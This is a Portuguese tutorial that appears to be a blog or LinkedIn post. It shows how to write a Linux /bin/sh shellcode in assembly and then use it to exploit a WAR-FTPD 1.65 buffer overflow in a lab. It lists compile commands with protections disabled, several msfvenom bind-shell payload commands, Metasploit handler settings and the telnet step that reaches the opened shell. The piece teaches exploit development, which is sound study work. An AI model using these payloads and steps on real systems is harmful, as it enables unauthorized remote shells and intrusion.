Desenvolvendo um simples shellcode e explorando uma vulnerabilidade

Na área de desenvolvimento de exploits o shellcode é essencial para à exploração de uma vulnerabilidade. O Shellcode é definido como um conjunto de instruções injetadas e depois executadas por um exploit. O Shellcode é usado para manipular diretamente os registros e as funcionalidade de um exploit, garantindo até mesmo uma shell na máquina alvo, sendo seu principal próposito e muitos atrelando o codename Shell para se referir a isso, mas talvez passe apenas de ideia. Enfim, caso queira se aprofundar no conceito vou deixar alguns materiais como referência.

Desenvolvendo um shellcode básico

Irei utilizar uma prática simples dos meus estudos da noite, e até para não ficar enferrujado vou elaborar uma demonstração do desenvolvimento de um simples shellcode que gera um /bin/bash através de um syscall 11, sendo uma função que faz o mapeamento na memória e passa um nome de algum programa como um argumento.

https://filippo.io/linux-syscall-table/

https://linux.die.net/man/2/munmap

Abaixo você verá um exemplo para chamar a função syscall #11 (0xb) utilizando a linguagem Assembly, assim efetuando o Spawn de uma shell /bin/bash

Para executar um syscall, precisaremos da seguinte configuração do registro:
• EAX manterá o número do syscall (0x0b).
• EBX manterá o nome do programa a ser executado.
• ECX pode ser nulo.
• Depois, chamaremos int 0x80.

Não foi fornecido texto alternativo para esta imagem

https://pastebin.com/uJpHU18q (Código)

Vamos executar o processo, para isso, vamos digitar 2 comandos simples

Vamos gerar um arquivo de objeto para esse nosso código Assembly, para assim conseguirmos executar, então digite: nasm -f elf -o sc1.o sc1.asm

Após compilarmos o arquivo Assembly, vamos usar o comando LD nos sistemas operacionais do tipo Unix, o ld é um vinculador. Ele combina vários objetos compilados e arquivos compactados, realoca seus dados e vincula referências de símbolos. Normalmente, o último passo na compilação de um programa é executar o ld. Então digite: ld –o sc1 sc1.o (AMD_64) ou ld -m elf_i386 -s -o file file.o (I386)

Agora podemos extrair o shellcode do executável, para isso vamos usar o objdump para examinar.

Esse comando emite sintaxes utilizando o padrão Intel, assim realizando um Disassembly, Podemos ver que o objdump descompilou com precisão o executável e que um endereço foi movido para ebx, que é o endereço da string /bin/sh.

Você pode usar o gdb para fazer um dissassembly também, basta digitar o seguinte comando:

Como tive problema com meu Kali, infelizmente precisei dar um reboot, então os endereços de memória vão mudar um pouco, mas é o mesmo conceito, você vai digitar:

info functions = Ao qual você vai coletar as funções principais como a .text

disas .text = Você vai coletar todas as funções dentro do .text

Colete o endereço de memória ebx para examinarmos ele, após isso você vai notar que ele aponta para /bin/sh e mostra que ele não foi mapeado na memória ainda.

x/s “endereço” = De maneira resumida ele coleta os valores hexadecimal e a strings desse valor

Após realizar essa analise, vamos ao processo para coletar os opcodes (instruções) do executavel, basta criamos um script e executa-lo apontando o arquivo

https://pastebin.com/p7b52GR0

Agora é só executarmos esse nosso script ao qual vai nos mostrar uma cadeia de bytes, ao qual qquando é colocada em execução na memória e quando o EIP for redirecionado para eles, eles fará com que o programa execute a instruções que codificamos no código Assembly e vai Spawnar um /Bin/bash.

Por fim, vamos desenvolver nosso shellcode tester para testarmos esse shellcode e verificar se ele esta okay ou não, você pode utilizar essa source

https://gist.github.com/securitytube/5318838

Após fazer todos os testes, caso tenha bytes nulos, vai tratando o seu código, Os bytes nulos existem por causa dos códigos de operação específicos como operações: “mov reg, 0”, que é uma instrução que gera um byte nulo.

Por fim, após fazer a Prova de conceito para testar o seu shellcode em C, basta compilar, sendo assim você tem diversos métodos para isso.

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
gcc -m64 -fno-stack-protector -z execstack -o shellcode shellcode.c
gcc -m32 -z execstack shellcode.c -o shellcode

Após isso é só executar o shellcode e visualizar o resultado, como meu Kali no meio do processo travou por conta do VBox e ai como fiquei sem paciência para realizar o processo pela 3 vez, você deve ter o resultado esperado uma shell surgindo.

Caso você queira um passo a passo mais preciso, deixo as duas referências utilizadas para realizar esse artigo também.

https://pastebin.com/gezuVxX3

https://bufferoverflows.net/developing-custom-shellcode-x64-linux

https://0x00sec.org/t/linux-shellcoding-part-1-0/289

Explorando uma vulnerabilidade utilizando shellcode do MSFVENOM

Eu costumo brincar bastante com laboratórios e com certeza alguns já devem ter visto meu artigo falando do hackthebox e do laboratórios do Mestre Eder e Helvio Junior

https://www.linkedin.com/pulse/como-os-laborat%25C3%25B3rios-de-pentest-e-ctfs-podem-ajudar-suas-dos-santos/?trackingId=%2F5J7Sr%2BnQIa5uhl6QG4Wlw%3D%3D

Enfim, para demonstrar na prática um exploit + geração de um shellcode com Msfvenom para explorar uma vulnerabilidade, vou utilizar uma das máquinas que ele disponibiliza.

Uma das máquinas que vou explorar ela possui um serviço FTP vulnerável, mas para termos certeza vamos enumerar os serviços dessa máquina.

Opa! Achamos um WAR-FTPD 1.65, e do lado você vai ver que tem (NAME: ALGUMACOISA) grave isso ai, pois pode nos ser útil. E se eu me lembro bem, tem uma vulnerabilidade de Buffer Overflow nesse serviço que permite conseguir até uma Shell Reversa no servidor. E cavando um pouco a internet, encontrei um exploit em Python que faz isso.

https://github.com/Jean13/WarFTP_Exploit/blob/master/Scripts/WarFTP_Exploit.py

https://www.exploit-db.com/exploits/3570

Em resumo, é um stack-buffer overflow que atinge o método de autenticação do servidor FTP ao qual não consegue verificar corretamente os limites dos dados fornecidos pelo usuário antes de copia-lo para o buffer, assim resultando na falha.

E ao abrir o codigo, você vai notar um shellcode já inserido, mas vamos modifica-lo para um que vamos criar com MSFVENOM.

Existem várias formas, vou passar algumas, porém a definitiva mesmo é a última, mas é só para vocês entenderem que ao gerar um shellcode, precisamos ficar de olho no tamanho do payload e do Buffer Overflow que aquele exploit trabalha, pois se exceder o tamanho pode ocasionar em negação de serviço. Por isso é sempre bom usar um shellcode tester para ver como ele trabalha também.

https://github.com/helviojunior/shellcodetester

msfvenom -p windows/shell_bind_tcp LHOST=192.168.100.9 -e x86/shikata_ga_nai -i 3 -f c -b “\x00”

Em resumo, geramos um shellcode para Windows ao qual faz um bind tcp com meu LHOST que é meu Kali Linux e utilizei algumas técnicas para gerar um shellcode encodado com Shikata_ga_nai e eliminando todo tipo de Null Byte ou os bad-chars “\x00” e/ou “\xFF”. Após gerar, basta copiar todo shellcode e colar no código nosso código Python.

Porém analisando o tamanho do Buffer, não iria funcionar, por isso gerei um mais simples ao qual funcionou na hora de eu testar.

msfvenom -p windows/shell_bind_tcp LHOST=192.168.100.9 -e x86/shikata_ga_nai -f c

Mesmo assim, não foi útil para mim, então eu mudei para o formato ruby ao qual a saida é mais limpa, e surpreendemente deu certo, mudei alguns parâmetros para gerar um shellcode bem simples definindo uma porta também. Mesmo que seja em Ruby ou C, o shellcode funciona para python.

msfvenom -p windows/shell_bind_tcp LHOST=192.168.100.9 lport=4444 -f ruby

Caso você queira entender mais sobre o MSFVENOM, eu recomendo:

https://www.rcesecurity.com/2015/08/slae-dissecting-msfvenom-payloads-linux-x86/

https://ihack4falafel.github.io/Disecting-Msfvenom-Shellcode-~-Linux-x86/

https://blackcloud.me/SLAE32-5-1/

Agora basta inserir o shellcode gerado lá no nosso exploit

Após isso, você vai modificar o s.connect e colocar o IP do seu alvo que está com o FTP vulnerável com o WARFTP, e adicionar um USER ao qual ele vai tentar conexão, se lembra que no Nmap apareceu um (Name:Algumacoisa), pegue aquele nome e insira também, não é obrigatório, mas eu gosto de definir, porém para a exploração não precisa, ao contrário esse é o próposito.

Caso queira montar seu laboratório, segue o link dos arquivos: https://github.com/R4v3nG/WarFTP-1.65-USER-Remote-Buffer-Overflow-Windows-XP-SP3-Russian

Caso queira usar o msfconsole, você vai ter colocar as mesmas informações que você inseriu no shellcode e no seu exploit, como o payload que é o Windows/shell_bind_tcp, RHOST que é o seu alvo o servidor FTP vulnerável e por fim a LPORT que é a porta que definimos no payload

use multi/handler

set payload windows/shell_bind_tcp

set RHOST “ip do alvo”

set LPORT “porta que você definiu”

exploit -j = Ele inicia a comunicação em background

Caso você queira saber mais sobre payloads, recomendo:

https://www.offensive-security.com/metasploit-unleashed/payloads/

Agora basta executarmos o nosso exploit.py e assim conseguir a nossa shell, no caso vou usar o telnet para fazer a conexão direta, com metasploit tive bastante dificuldades. Mas é bem simples:

Após executar o exploit e ele apresentar a mensagem 331 User name okay, Need Password. Basta executar o telnet com seu alvo e a porta que definimos no shellcode que geramos

python exploit.py

Em seguida, após aparecer a mensagem, digite:

telnet “ip do alvo” 4444

Pronto! Conseguimos a nossa shell, é bem simples a brincadeira, eu recomendo que você monte seu laboratório e tenta fazer você mesmo o Buffer Overflow, aqui está o write-up detalhado:

https://github.com/Jean13/WarFTP_Exploit/blob/master/WarFTP_Exploit_Write-Up.txt

Caso queira aprender com os Mestres, eu recomendo:

Ambos fornecem cursos de Buffer Overflow e Desenvolvimento de exploits

Alguns materiais:

https://github.com/helviojunior

https://www.helviojunior.com.br/it/security/criacao-de-exploits/criacao-de-exploits-parte-3-estudo-de-caso-vulnserver-kstet-com-egghunter/